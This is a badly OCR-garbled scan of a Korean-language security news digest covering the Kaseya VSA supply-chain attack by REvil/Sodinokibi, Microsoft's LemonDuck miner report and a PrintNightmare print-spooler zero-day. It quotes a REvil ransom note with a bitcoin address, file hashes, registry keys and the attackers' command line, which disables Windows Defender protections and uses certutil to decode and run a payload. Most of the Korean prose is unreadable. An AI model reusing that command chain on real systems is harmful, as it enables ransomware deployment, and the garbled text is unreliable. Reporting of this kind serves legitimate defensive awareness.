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Kaseya 23 32, Sodinokibi M9 S35l
MH[A HiZ | 2F 40 2 Sl
Kaseya Supply—Chain Attack Hits Nearly 40 Service Providers With REvil Ransomware

o' =2 Sodinokibi H440] 15 SAXS0| Kaseya IT 2| AZEQ0| YH|0|EE Sl HEYHE FEt
NOZ LIEHHC 0|52 d#?let 2K SAS Sl @ MAQ] 174 of 40 X5 SAIUL:. Xt 22 2t
9| CEO Q! Fred Voccola= MYUES Sall St 20| Bi3UCEH "Kaseya 2] AFIHSEIR2 2021 H 7€ 2 2

110

HMRP(EST)| VSA AZEQ{Q} 2t El AMANA HOF A0 CHSH LA EIUCE" At
S THI SoS MUIE SRAZON, ST0LA DA VSA NI SRS S 0/ ZRAHES U

C}t.
infected
o [6
Your documents, photos To decrypt your files you need Lc You can do it right now. Follow the
databases and other important files buy our special software - instructions below. Eut remember
encrypted IN20mo6-Decryptor that you do not have much time
1n20mo6-Decryptor price

You have 6 days. 23:54:05 Current price  0.16404023 BT1C
* If you do not pay on time, the price will be doubled =1,500 UsD
* Time ends on Jun 23, 121359 Aftertimeends 0.32808046 Bi1c
=3,000USD

Bitcoin address: 3847)XCENWSIUGOINKHHEZWGsOs1wgG3w * BTC will be recalculated in 5 hours with an actual rate

INSTRUCTIONS CHAT SUPPORT

[0]0IX] &X] https://thehackernews.com/2021/07/kaseya-revil-ransomware-attack.html
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o AMHIE FATIQI Mark Loman Off 2™, A T ZXZEI 0] SEY 342 Kaseya VSA E EE3S10] I
SHXC| 2401l Sodinokibi A0 HIZS H{E S}, Sodinokibi HIO|LZ|= 7%t {IE CIHE S S5H ALO|
CEEFE AOE LIEPRICE 5t 324 X212 Powershell 2 Salf 00| =ATE CIHIEO| MAIZH 2LIEEES H
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gdelot] ASHAl BiR{CE Huntress Labs = IR AAZ= Soll EZ0|S0Pt E&E 0] ALER07}
"Kaseya VSA O0|ME SHUA"O| SEHZ HYELE| D QUCHT 9H3iCt

Process Data:

o “CAWINDOWS\system32\cmd.exe” /c ping 1270.0.1 -n 6258 > nul &
C:\Windows\System32\WindowsPowerShell\vl 0\powershell exe Set-MpPreference -DisableRealtimeMonitoring Strue -
DisablelntrusionPreventionSystem Strue -DisablelOAVProtection Strue -DisableScriptScanning Strue -EnableControlledFolderAccess
Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y
CA\Windows\System32\certutil. exe C:\Windows\cert exe & echo %RANDOM% >> C\Windows\cert exe & C\Windows\cert exe -
decode c:\kworking\agent.crt c:\kworking\agent exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe &
c\kworking\agent exe

« Parent Path - C\Program Files (x86)\Kaseya\<|D>\AgentMon exe

"C:AWindows\system32\cmd.exe" /c ping 127001 -n 5693 > nul &
C:\Windows\System32\WindowsPowerShell\vl 0\powershell. exe Set-MpPreference -DisableRealtimeMonitoring Strue -
DisablelntrusionPreventionSystem Strue -DisablelOAVProtection Strue -DisableScriptScanning Strue -EnableControlledFolderAccess
Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y
C:\Windows\System32\certutil exe C:\Windows\cert exe & echo %RANDOM% >> C:\Windows\cert exe & C:\Windows\cert exe -
decode c:\kworking\agent.crt ¢:\kworking\agent exe & del /q /f c:\kworking\agent.crt C\Windows\cert exe &
c\kworking\agent exe

« Parent Path - C\Program Files (x86)\Kaseya\<ID>\AgentMon exe

Files involved

C\windows\cert.exe

« 36a7lcbac77db619e18f701bey7d79306459ff1550b0c92dal7bBcy6e2ec0752
* CA\windows\msmpeng exe

» 33bcl4d231adafaalBf06513766d5f69d8b88fle697cdl27d24fbdb72add44c7a
C:\kworking\agent.crt
* CA\Windows\mpsvc.dil

« 8dd620d9aeb35960bb766458c8830ede387c33d239cf730f93fed9d30ae759dd
C:\kworking\agent.exe

« (55f983¢994caalBec63a5916by2501e671b3eBcd3a388aec60adab378e9f1e

Registry Keys

o HKEY_LOCAL_MACHINE\SOFTWARE\WowB432Node\BlackLivesMatter
[0]O]X|] &X] https://thehackernews.com/2021/07/kaseya-revil-ransomware-attack.html
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Microsoft Warns of LemonDuck Malware Targeting Windows and Linux Systems

olH o 3z A ZeiE 32IE0L0|Y AMTCT} Q= F|okMS 2| Windows 2! Linux 0OS £ ZZ46}
= 7l&as E2Ygi0] 7H+_6}Ii, CiaFer 2t HIAHLISS &850 Anlel E8dS It U= A=
LIEHRTE, OO|Z2ATEE= X|HF UWshst 71E EA0A TSt 20| HRAC “LemonDuck 2 &4 & 7+
zfﬂil 27 |2 YR 2es| YH0|ER= 2ot YEIE0ICE 0] YHIEE S Hust BSS A
oM JE9| AM™Z L EXAIZICE LemonDuck 2 7|Z0| 2 % Oi0|d &30 2|AAS AIEst= HS

, 2ot HXIE H7olL, O|HYS Sof &M=L ZM 0|SstL, A= 27t MY 34

LemonDuck 24T == ZFE HERIS TAHOf t2AH 2HHE HE ZFE S0Iot o, 7Hd=iHE =
BHOZ Aizol/| ?loll ARE SlaAE MEHC=M HRHE 7He iz 22 MEdk=s A= ¢
N ATt ot F2|EIE 2R 2 NS Leteh Cifet o4y lEs 2dE + U= AOIEH0] &= ot
= AHMICH JISTES dX[otl, #E 24 A3 k= 20 JS oith

Multiple

devices

R User Start of human-operated attack
é Start of human-operated attack from Duck infrastructure, if any

User's from Cat infrastructure
device

>

- -

]

'
. ]
L
DELIVERY EXECUTION & PERSISTENCE EVASION IMPACT

: @ vh:i::c?:: e;sm“ LemonDuck @ Anti-malware @ 3:::: m‘?‘l“ @ Spfeadmg to other
f and/or .z;p file downloaded products disabled r«ove& disabled devices

¢

1

! & USB, network Check-ins ) Competitive e phe Phishing

. drives established ! malware removed and exfiltrated propagation

Ll imimrm i mrmrmrmrmrmrmr =

------------ ¢ (
: '

@ Scheduled task (@2 Hosts file modified ; "“w',""”:'::::l:d :

;

|

: Variety of edge

| exploits and WMI event with obfuscated C2 | for re- emry
|

| Brute-force of RDP
| and edge apps

|

e ey e e e e Sl A e s m e e 5 s 0 o

|
Crypto miner and + | Ramnitand other |
Mimikatz installed @ e B | @ malware installed |

Remote access :

trojans installed | ———————
for re-entry | laimia:
”””””””””””” |__ = J Activity associated with Cat campaigns

[ Activitycommon to both Duck and Cat campaigns

[OI0[X] &X] https://www.microsoft.com/security/blog/2021/07/22/when-coin-miners-evolve-part-1-exposing-lemonduck-

and-lemoncat-modern-mining-malware-infrastructure/
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AS AEol7| AIZRICE 2|Z20l= THX|=|X] 942 AJARI0| o] I5H "ProxyLogon™ AAMQUX| AMH F<f
S ASIYCtL FZhet & OHE W22 <A™ AEIEE Mo, H Hets =h| A= st
Hg MASORM M 2 9ot CH2 ZZRIE 9 &

=L = Z0|Ct. LemonDuck I EE AtRSH 2A
FZ HE Z 10T 220 ESE[ A2 O]=, 2A0}, B, 5, F=, 2k, st=, FHLICH A HIEHNA
JFR} BHQ| HEAHSHL},

o LS = O A

A

Geographic distribution of LemonDuck activity

[OI0[X] &&] https://www.microsoft.com/security/blog/2021/07/22/when-coin-miners-evolve-part-1-exposing-lemonduck-

and-lemoncat-modern-mining-malware-infrastructure/
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New Windows print spooler zero day exploitable via remote print servers

e D2E AFH0|A £ OE MZH|0] FUH0| YAZIRLE 0|5 AES SHX= SZHAPL Moo= &
24 MHQ} 'TH7 | & I (Queue-Specific Files) 7|52 Sl Y=L 7|7[0IA Z2|X} HEHS Lo = QICt X|

S, of HOF MEJI= QEX| ¢4A A= T2E AEZH0| £Xiok= MIZO[0[Q! PrintNightmare(CVE-2021-
34527)8 S/MIUCL SAXL O FYHSE AUZY E AL HoIM Hets 4SAI7[7HL dde= FEE A

o)
Szt 4 QUCk OIO|TRATEL 0] F{OFHS 2H5t= HOt ABOIES BHRKID, HTUSS ST THXI7} S
M ZZA00M D& THSITT HERICE 0|5 HPYISS §ITQo| TRIEl API 2 X5| ZARICSD, YES &
2IE AZE{0| EAYSHs FOIRES 1R Wrist & UL

- #4 TZE MY, SH0f 42=]
HOF o471210| X} Mimikatz HIZEXIQ! Benjamin Delpy = ZZAXI7} HO{5H= 224 T2IE MHE S5 25 7]7]

OflAl SYSTEM Hets g g0 & U= MZ2 MZH|0| FFHS SIHAUL

@gentilkiwi

& ) Benjamin Delpy & ¥

#printnightmare - Episode 4

You know what is better than a Legit Kiwi Printer ?
@ Another Legit Kiwi Printer... g

No prerequiste at all, you even don't need to sign
drivers/package ‘&

et LT U TS

| & wnsous upcee

1:56 AM - Jul 17, 2021 ©)

Q 387 © 13 1 Share this Tweet

[OI0]X] &X] https://twitter.com/gentilkiwi/status/1416079316673339392
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Delpy = Bleeping Computer 2t2| CIE{RHIM 12| AUAEZCI0| S20|HET} ZAKXPIt M= B2IE AH 0|
HAZASHH Windows Pointand Print 2] 'CH7 | & O 7|52 Soff 2 DLL 2 XSO = CIREE L Al
S%Ct OO 2ADEQ| [f7|E ¥ OiY EMUA= Y 7SOl CHoll TS 20| AHUCE "I2IE MX| A,

21 AR

SEEAlZE Hiset 2X| 0S2A0[42 £ QM tH7 |21} H2E ZE Y R MES Xge =+ O T
= DZE MH0f| Sz OI"— Z} Sct0|AEN| CI2E=Ent” AFES2 0] FHE AE= floti TH7 I8 & o
7152 AMEdl= 37 TEE F U= QLI FZ0| 7tstt TEE MHE HEUL.
B Editeur du Registre - O X
Fichier Edition Affichage Favoris 7
Ordinateur\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\Kiwi Legit Printer - x64\CopyFiles\|ICM
v I Print.er.s o A Type Données
W K Legie Prinkes- 04 REG_SZ (valeur non définie)
vl CopyFiles l REG_SZ x64\3
IC.M 33,!"_‘! Files REG_MULTI_SZ mimispool.icm
DsDriver X
DsSpool ab]Module REG_SZ mscms.dll
sSpooler
PnPData
! PrinterDriverData
v Kiwi Legit Printer - x64 (another one)
v CopyFiles
L iem
DsDriver
DsSpooler
PnPData
PrinterDriverData vl < >
[0]OIX]] Th71E & MY HXAEZ] 71
[OI0IX] £X{] Delpy
o} DLL 0] SYSTEM H3HO2 ME|H, HEEUA BE HUS MHGH=T A4S 4 ATk CERTICC 2|
oF% 2447121 Will Dormann 2 0] {eFH0l T3t 57} HES HBoks BIS WHEHCH 0] FI2FH0| B 93
2t 0|R= 2= 2= BT FebS DX, SRV HEXIOM HMieke HZ Hots ¥4l Fofet 7(7|0|1A
SYSTEM 32 ZA| 258 4 Q7| H2O0|CL Z2AHs 0] H2 Mot Sof Sl HES20| H2 4
S MK WESTE S8 £ 0150] 7HS5IC. Bleeping Computer = 0] ZHS AI5H Arg 2Lt

- 22 T FHor slat|
CI245] Delpy  Dormann 0] 0] MZ2 ‘Th7I% & IR FOIRS 513t 4 QU W 2 JHIS ZUCD,

0| & HiH D= CERT 9| H110| Q9f=|0f UL

<dH 1 HERI AN OtRHERE SMB E2fH XHE>

Delpy 2| S/ AAS 2012 B 24 MHE ALEdH| ME0| OtRHE2E SMB EciHS Attholl H4 HFH
Off Chet BZ2S YA 4= ACE SEX|2E Dormann 2 MS-WPRN = AE5H0| SMB & ALE5HA| 11 E20[HE
HX[ok= A0| 7tsotH, SAX= 22 TDEIE AHOIA 0] 7|&S Aol AFEE & UCHL BiRACH
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<83H 2. PackagePointAndPrintServerList -_rl 1517 |>
0| YAEZQIS ofjest & Q= o LI B2 Package Point and print - Approved servers' 12 HiHS AF2S10]
Pointand Print & &21= AH S22 2 H|Stok= Zd0|LCt.

& Package Point and print - Approved servers | X

Package Point and print - Approved servers Previous Setting Next Setting

@® Not Configured ~ Comment:
() Enabled
O Disabled
i pparied Oex At least Windows Vista
Options: Help:

Enter fully qualified server names T Restricts package point and print to approved servers. %
This policy setting restricts package point and print connections
to approved servers. This setting only applies to Package Point
and Print connections, and is completely independent from the
"Point and Print Restrictions" policy that governs the behavior of
non-package point and print connections.

Windows Vista and later clients will attempt to make a non-
package point and print connection anytime a package point and
print connection fails, including attempts that are blocked by this
policy. Administrators may need to set both policies to block all
print connections to a specific print server.

If this setting is enabled, users will only be able to package point

and print to print servers approved by the network administrator.
When using package point and print, client computers will check

the driver signature of all drivers that are downloaded from print
servers,

ok || canca | ERED

AR}

[0]O]X]] 'Package Point and print — Approved servers' =4
[OI0]X] &X] https://www.bleepingcomputer.com/news/microsoft/new-windows—print-spooler-zero-day-exploitable-via-remo

te-print-servers/
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